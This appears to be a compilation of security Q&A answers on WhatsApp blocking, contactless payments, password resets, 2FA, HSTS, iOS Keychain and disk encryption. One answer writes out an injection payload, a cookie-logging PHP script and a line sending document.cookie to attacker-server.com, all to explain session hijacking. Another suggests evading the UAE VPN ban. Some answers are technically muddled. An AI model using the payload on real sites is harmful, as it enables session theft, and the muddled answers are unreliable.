How are whatsapp calls banned even with VPN in countries like UAE

Whatsapp uses specific ports including: 5223, 5228, 4244, 5242, 5222. By monitoring packets to these ports, it is very easy for a packet filter to figure out which clients are trying to conduct a Whatsapp session. The problem is made easier because Whatsapp uses TCP, a sequential protocol. Using this protocol makes it even easier to target and interrupt.

If you are using a VPN and the server is outside of the country, then there is no way to block you, other than cutting off the entire connection to the VPN. As of this summer, the government of the United Arab Emirates decided to make VPNs illegal and is now blocking them wholesale. They do this by maintaining lists of known VPN endpoints and then blacklisting them all.

You can evade this restriction by making a custom tunnel out of the country. Be aware that doing so is a felony in the UAE.


How is PayPass/payWave secure when PIN is required after presenting the card to the contactless terminal?

The PIN is verified online with the bank - see the footnotes on this page http://www.maestrocard.com/gateway/about/about_maestro_paypass.html.  The card does not tell the reader the PIN number, it tells the reader its identity details (such as card number).  If required (due to high price of transaction), the reader makes a (presumably secure) connection to the bank, prompts the user for their PIN, and does the verification across the network.


Reset Password Link input parameters - where do place?

Security questions are no longer considered a good enough mechanism to protect account recovery, they are often guessable or easily obtainable through OSINT.

Source : https://nudatasecurity.com/blog/risk-based-authentication/4-big-problems-with-knowledge-based-authentication/

Source 2: https://www.howtogeek.com/185354/security-questions-are-insecure-how-to-protect-your-accounts/

Source 3: https://www.wired.com/2016/09/time-kill-security-questions-answer-lies/

You should look at using reset tokens and send that token to your user via email.

If you do insist on using security questions, then there are a few things to consider. Having the questions before the reset link means if you know the user's username or maybe an email address, you can access their questions, do some research and find answers to those questions.

Having them after the reset email has been issued means the user must have access to that email account to even access the questions in the first place.

OWASP Guidance says you should verify questions before sending a token:
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet

If you are transmitting answers between your client and server, treat them securely as you would a password. Use POST over HTTPS, don't put them in the URL or in headers. POST them back in a secure form.

This post here on Security Stack Exchange is also worth reading:
How to implement “forgot password” functionality?


Steps for building a good File Encryption on Android

According to the comments, I would suggest doing simple AES on the server side. Eg, when a customer wants to open a document, he request decryption, and then the document are sent to server, decrypted and then sent back. The decrypted document are then never stored on flash or memory, only in RAM. Once the user are inactive a certain period or switches to a Another app, delete the document from RAM.

Note that the Communication channel need to be secure (eg protected by VPN or similiar means), since cleartext data will be transmitted over the wire.

However, if you could afford (eg theres enough disk space so you does not need to leech on the device's disk space), you could instead store Everything at customers disk or your disk, unencrypted, and use a simple server-sided authentication process to make sure stolen devices cannot request documents off the server. That would mean no documents ever are stored on the device.

Then you simply send the documents for immediate vieweing in the app.


Impact on required password entropy when introducing two-factor authentication

Lowering password complexity requirements after introducing a 2nd factor for authentication has no benefits. If you increase security in one place, just to lower it in another place you're just wasting your time. And in the case that one of your users loses their token/smartcard/2nd factor to an attacker, that attacker would have a weaker system to attack, therefor raising his/her chances to breach the system*.

The goal of multi-factor authentication is to make it even harder/more expensive for an attacker to circumvent your authentication process.

So the "best practice" for 2FA in your case is to not lower the already established minimum requirements. A 2nd factor should be treated as an addition to the system's security, not as a substitution.

*If we set aside rate limiting, IDS/IPS, account lockout, etc. for a second.


Is not checking the src url a vulnerability?

Assuming your conversion function does not sanitize:

[img]" /><img src="[/img]

becomes:

This is a simple example of CSRF (cross-site request forgery). As soon as another user loads said [img] tag, they will run the Javascript that has been injected as an authenticated user, submitting the form unintentionally upon page load.

There are even worse possibilities, including XSS (cross-site scripting). For instance, your attacker may have a remote server that has a script similar to this:

foo.php:

<?php
    require_once('db-config.php');
    mysql_query("INSERT INTO `cookies` VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>

The attacker can send an AJAX request through the injected Javascript and send himself your session cookie with a URL like so:

'http://attacker-server.com/foo.php?input=' + document.cookie;

This will allow the attacker to hijack your session ID, impersonating you in the application.

An obstacle for the interim to solve a problem such as this (an imperfect solution) is to set the HttpOnly property on your cookie(s) to prevent certain CSRF attacks from occurring.

EDIT:

You mentioned:

  What I have in mind, but I am not totally sure, is something like,
  [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible?
  Are there other ways to exploit this functionality?

This is definitely possible. Read my explanation above regarding CSRF. In fact, many web applications use this to track e-mail clickthroughs, as the hidden image's src value links to a script that runs when a user opens their e-mail.


Strict Transport Security (HSTS) HTTP Response Header Security Related Question

All HTTP(S) headers are just data that the server sends over the wire. It's literally just plain text, usually ASCII/UTF-8. The server can send whatever headers (or body) it is configured for in response to whatever request it receives. Although it is common to configure a server to send certain headers with every response, doing so is neither the only option nor necessarily the best.

Sometimes different responses are sent for efficiency reasons, such as not sending headers to browsers so old they won't understand, or serving different HTTP/CSS/JS to different browsers (remember, the headers - like the body - are just data and can be controlled arbitrarily). Sometimes different paths have difference content or security policies. However, servers can be configured to do anything that any other software could do; for a particularly silly example, the server could skip sending any proper HTTP response at all for every 100th request, and just reply with the text of "I'm a little teapot". This would be a bad user experience, but it wouldn't be that hard to configure a server to do it (most web frameworks will automatically send at least the top line, with the response code, but you can avoid that with some effort).

Also, be aware that there's no 1:1 mapping of domain names to servers. A single domain name might be served by many different servers on the back end, with a piece of software sitting at the public address of the domain, terminating TLS, and routing the request to one of many back-end servers. Some of those back-end servers might send HSTS headers with every request, some with none, some on some other condition (probably not "alternating Thursdays", but it could be!).


NSUserDefaults is not encrypted and is stored in a plain text .plist file - it can be easily opened and read, both on device and when synced to a Mac. NSUserDefaults is for preferences, not for storing secure login information Sensitive data like passwords and keys. Keys should be stored in the Keychain. Apple's Keychain Services Programming Guide states that a "keychain is an encrypted container that holds passwords for multiple applications and secure services. Keychains are secure storage containers, which means that when the keychain is locked, no one can access its protected contents". Moreover, in iOS, each application only has access to its own keychain items.

As lynks suggested, session keys should not be stored persistently. Regardless, I recommend viewing the following examples/frameworks:

Apple's GenericKeychain example
Lockbox - simplified interfacing with the Keychain
UICKeyChainStore - a simple wrapper for Keychain on iOS and OS X.


Full Disk Encryption encrypts data at rest.

This is the fundamental part of the technology, and it's why it is used around the world for various governments and their departments.

When you use a drive with FDE, what will typically happen is that data is "decrypted on the fly". It does this by using System Memory (RAM) to temporally hold the encrypted data, and having the CPU/GPU decrypt it.

This means if had raw access to the disk even when you were using the machine, the drive would still be encrypted. Obviously, I could attempt to decrypt it with your encryption key stored in RAM.

So yes, your data is still protected while the computer is "live". The data and encryption key are stored in RAM.